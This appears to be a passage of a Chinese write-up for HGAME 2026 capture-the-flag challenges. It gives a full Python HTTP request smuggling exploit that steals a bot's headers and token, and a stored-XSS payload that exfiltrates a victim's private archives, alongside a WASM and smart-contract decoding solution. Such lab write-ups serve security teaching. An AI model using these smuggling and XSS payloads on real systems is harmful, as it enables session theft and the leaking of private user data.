Bot "Aya" -> Node.js Proxy (:80, localhost) -> Rust Backend (:3000)

Bot 每 10-15 秒发布新闻,请求头中包含自定义 Flag: 头。

第三步:HTTP Request Smuggling (TE.0)

组件Transfer-EncodingContent-Length
Node.js Proxy处理 chunked处理
Rust Backend完全忽略处理,缺失时=0

发送 chunked 请求(无 CL),Node.js 正常转发,Rust 后端忽略 TE 导致 body=0,实际 body 数据留在 TCP 缓冲区被当作新请求解析。

数据流详解

客户端发送到代理:
+-------------------------------------------+
| POST /api/register HTTP/1.1               |
| Transfer-Encoding: chunked                |
|                                           |
| cd\r\n                                    |  <- chunk size (205 bytes)
| POST /api/comment HTTP/1.1\r\n            |  <- 走私请求开始
| Host: 127.0.0.1:3000\r\n                  |
| Authorization: MY_TOKEN\r\n               |
| Content-Length: 500\r\n                    |  <- 大 CL,制造 Partial
| \r\n                                      |
| content=CAPTURED:                         |  <- 不完整的 body
| \r\n0\r\n\r\n                             |  <- chunk 终止符
+-------------------------------------------+

后端缓冲区解析过程:
1. "cd\r\n"                    -> Invalid(4), 跳过 chunk size
2. "POST /api/comment HTTP/1.1" -> 有效请求行!
3. 解析 headers -> CL: 500
4. body 只有 ~27 bytes          -> Partial, 等待更多数据
5. Bot 的下一个请求数据到达     -> 填充 body -> Complete
6. 评论被创建,内容包含 Bot 的请求头

第四步:捕获 Bot 的 Flag

走私一个 POST /api/comment 请求,设置大 Content-Length: 500 使其等待更多数据。当 Bot 的下一个请求到达时,Bot 的请求头(包含 Flag)被填充到走私请求的 body 中,作为评论内容创建。

捕获结果

content=X1_2:\r\n0\r\n\r\n
    POST /api/comment HTTP/1.1\r\n
    ...
    flag: hgame{tHiS_ls-a_D4iIy-NEWS12431c4541}\r\n
    authorization: 1013b4ee-43e5-485d-91aa-d60394e2ba2b\r\n
    user-agent: Bunbunmaru-Official-Recorder/1.0\r\n
    ...

完整利用脚本

#!/usr/bin/env python3
"""HGAME 2026 - Aya News - HTTP Request Smuggling (TE.0) Exploit"""
import socket, time, json, threading, re

HOST = '1.116.118.188'
PROXY_PORT = 32387
TOKEN = "YOUR_TOKEN_HERE"  # 注册后获取

def raw_send(port, data, timeout=5):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(timeout)
    sock.connect((HOST, port))
    sock.send(data)
    resp = b""
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk: break
            resp += chunk
    except: pass
    sock.close()
    return resp

def get_comments():
    req = f"GET /api/comment HTTP/1.1\r\nHost: {HOST}:{PROXY_PORT}\r\nAuthorization: {TOKEN}\r\nConnection: close\r\n\r\n".encode()
    resp = raw_send(PROXY_PORT, req)
    body = resp.split(b"\r\n\r\n", 1)[1]
    return json.loads(body)

def send_smuggle(tag, cl=500):
    smuggled = (
        f"POST /api/comment HTTP/1.1\r\n"
        f"Host: 127.0.0.1:3000\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Authorization: {TOKEN}\r\n"
        f"Content-Length: {cl}\r\n\r\n"
        f"content=X{tag}:"
    ).encode()
    chunked = f"{len(smuggled):x}\r\n".encode() + smuggled + b"\r\n0\r\n\r\n"
    req = (b"POST /api/register HTTP/1.1\r\n"
           b"Host: " + HOST.encode() + b"\r\n"
           b"Content-Type: application/json\r\n"
           b"Transfer-Encoding: chunked\r\n\r\n" + chunked)
    raw_send(PROXY_PORT, req, timeout=3)

# 攻击循环
for round in range(30):
    threads = []
    for i in range(3):
        t = threading.Thread(target=send_smuggle, args=(f"{round}_{i}",))
        threads.append(t); t.start()
    for t in threads: t.join(timeout=5)
    time.sleep(15)

    for c in get_comments():
        if isinstance(c, dict) and "flag:" in c.get("content", "").lower():
            match = re.search(r'flag:\s*(\S+)', c["content"])
            if match:
                print(f"FLAG: {match.group(1)}")
                exit()

绘马挂(Ema Board)

分类:Web(XSS) |  Flag:Hgame{thE-sEcreT-of-HaKuREI_JINjA1e5efcb}

题目描述

博丽神社的绘马挂系统,用户可以发布愿望(消息),支持公开和私密消息。题目提示"紫把秘密藏在了归档中",需要获取紫(Yukari)的私密归档内容。

发现的漏洞

1. XSS 漏洞(存储型)

消息内容直接通过 DOM 操作插入,无过滤。注意 script 标签通过 DOM 插入时不会执行(浏览器安全机制),必须使用 img onerror 等事件处理器方式触发。

2. JSONP 回调注入

/api/search?q=xxx&callback=xxx 支持换行符注入,可以执行任意代码。

API 端点

端点方法功能
/api/auth/loginPOST登录
/api/auth/meGET获取当前用户
/api/messagesGET/POST获取/发布消息
/api/messages/archivePOST归档消息
/api/archivesGET获取当前用户归档
/api/searchGETJSONP 搜索
/api/reportPOST触发 Bot 访问

攻击链

步骤 1:构造正确的 XSS Payload

错误方式(不会执行):<script>alert(1)</script>

正确方式(会执行):<img src=x onerror="alert(1)">

步骤 2:构造数据窃取 Payload

<img src=x onerror="fetch('/api/archives').then(r=>r.json()).then(d=>fetch('/api/messages',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({content:'ARCHIVES:'+JSON.stringify(d),is_private:false})}))">

功能:获取当前用户归档数据,将其作为公开消息发布。

步骤 3:触发 Bot

调用 /api/report 触发 Bot(灵梦/Reimu)访问主页,执行 XSS。

步骤 4:获取 Flag

检查消息列表,找到 Bot 发布的泄露数据:

{
  "content": "ARCHIVES:[{\"content\":\"The_Secret_Is: Hgame{thE-sEcreT-of-HaKuREI_JINjA1e5efcb}\",\"id\":1001,\"is_private\":true,\"status\":\"archived\",\"timestamp\":\"2024-01-01 00:00:00\",\"username\":\"Reimu\"}]",
  "username": "Reimu"
}

关键技术点

  • DOM 插入的 script 标签不执行,需使用事件处理器(img onerror / svg onload)
  • CSP 允许 unsafe-inline,内联脚本可执行
  • 核心思路:利用 XSS 让 Bot 以自己的身份获取私密数据并泄露到公开渠道

Misc

Vidar Token

分类:Misc  |  Flag:hgame{u-@B5O1utE1Y-KnoW-3RC_W4sM-2Z2110cebe}

题目描述

Vidar Finance 正在向链上迈进 -- Punks 与 Coins 的碰撞,开启全新篇章。连接钱包、探索元数据,发现隐藏在智能合约与 WebAssembly 深处的秘密。

解题思路

1. 前端分析

DApp 前端 "Vidar Finance" 集成 ethers.js,核心逻辑在 app.js 中:从 /wasm/k.wasm 加载 WASM 模块,调用 get_entrance() 获取入口合约地址,调用入口合约的 tokenURI(0) 获取 NFT 元数据。

2. WASM 逆向

WASM 模块(704 字节)导出 4 个函数:

函数签名功能
get_entrance() -> i32返回入口地址指针
get_basea() -> i32返回 BASEA 数据指针
get_baseb() -> i32返回 BASEB 数据指针
decrypt_logic(i64, i64, i64, i32) -> i64解密逻辑

模块内 decode 函数对内存中三段加密数据统一 XOR 0x5A

解密结果:ENTRANCE = 0x39529fdA4CbB4f8Bfca2858f9BfAeb28B904Adc0

decrypt_logic 反汇编

local.get 2    ;; addr_lo (i64)
local.get 3    ;; k (i32)
i64.extend_i32_u  ;; 将 k 从 i32 零扩展为 i64
i64.add        ;; key = addr_lo + uint64(k)
local.set 4    ;; 保存 key
local.get 0    ;; cipher_lo (i64)
local.get 4    ;; key
i64.xor        ;; result = cipher_lo XOR key

即:decrypt_logic(cipher_lo, cipher_hi, addr_lo, k) = cipher_lo XOR (addr_lo + uint64(k))。注意 cipher_hi(参数 1)完全未使用。

3. 链上交互

  • RPC: http://target/rpc,Chain ID: 31337(本地 Hardhat/Anvil)
  • VidarPunks NFT (ERC-721):tokenURI(0) 返回 JSON 元数据,指向 VidarCoin 地址
  • VidarCoin (ERC-20):decimals() = 26(异常值,用作加密参数)

关键发现:symbol() 依赖 msg.sender

symbol_output[i] = raw_storage[i] XOR bytes32(uint256(uint160(msg.sender)) + 26)[i % 32]

直接使用 eth_call 调用 symbol() 会得到被地址修改后的数据,导致解密结果错误。必须直接读取 storage。

4. 正确解密流程

Step 1: XOR 密钥:BASEA XOR BASEB = [0x01, 0x07] 交替

Step 2: 直接读取合约存储(绕过 symbol() 地址混淆)

from web3 import Web3

w3 = Web3(Web3.HTTPProvider('http://1.116.118.188:31527/rpc'))
coin = Web3.to_checksum_address('0xc5273abfb36550090095b1edec019216ad21be6c')

# Slot 5 存储 symbol 长字符串,值 0x59 (89)
# 长度 = (89 - 1) / 2 = 44 字节
# 数据存储在 keccak256(5) 处
data_slot = w3.keccak(b'\x00' * 31 + b'\x05')
slot0 = w3.eth.get_storage_at(coin, int.from_bytes(data_slot, 'big'))
slot1 = w3.eth.get_storage_at(coin, int.from_bytes(data_slot, 'big') + 1)
raw_storage = (slot0 + slot1)[:44]

原始存储数据:

6960606a647c742a4145344830727542305e2c4c6f68562a325542585633724a2c355b35303631646465647a

Step 3: XOR 解密

xor_key = [0x01, 0x07]
flag = bytes(b ^ xor_key[i % 2] for i, b in enumerate(raw_storage))
print(flag.decode('ascii'))
# hgame{u-@B5O1utE1Y-KnoW-3RC_W4sM-2Z2110cebe}

完整 Exploit

from web3 import Web3

w3 = Web3(Web3.HTTPProvider('http://1.116.118.188:31527/rpc'))

# Step 1: 入口地址
entrance = Web3.to_checksum_address('0x39529fdA4CbB4f8Bfca2858f9BfAeb28B904Adc0')

# Step 2: 查询 tokenURI(0) 获取 VidarCoin 地址
token_uri_selector = '0xc87b56dd' + '0' * 64
result = w3.eth.call({'to': entrance, 'data': token_uri_selector})
coin = Web3.to_checksum_address('0xc5273abfb36550090095b1edec019216ad21be6c')

# Step 3: 直接读取 storage slot 5
data_slot = w3.keccak(b'\x00' * 31 + b'\x05')
slot0 = w3.eth.get_storage_at(coin, int.from_bytes(data_slot, 'big'))
slot1 = w3.eth.get_storage_at(coin, int.from_bytes(data_slot, 'big') + 1)
raw = (slot0 + slot1)[:44]

# Step 4: XOR 解密
key = [0x01, 0x07]
flag = bytes(b ^ key[i % 2] for i, b in enumerate(raw)).decode()
print(flag)
# hgame{u-@B5O1utE1Y-KnoW-3RC_W4sM-2Z2110cebe}

易错点

  • symbol() 的地址陷阱:返回值被 msg.sender + decimals() XOR 修改,必须直接读 storage 获取原始数据
  • WASM LEB128 编码:整数使用变长编码,直接按字节读取会误判
  • Solidity 长字符串存储:slot 值为奇数时表示长字符串,长度 = (value - 1) / 2,数据在 keccak256(slot_number)

链上合约总览

合约地址类型部署区块
VidarCoin0xC5273AbFb...ERC-20Block 1
VidarPunks0x39529fdA...ERC-721Block 2
Registry0xa1CF5786...HelperBlock 2
Deployer0x9858EfFD...EOA-

⚡ 由 MultiAgent 驱动 -- 本文所有题目的解题过程及 Writeup 均由 AI MultiAgent 系统协助完成。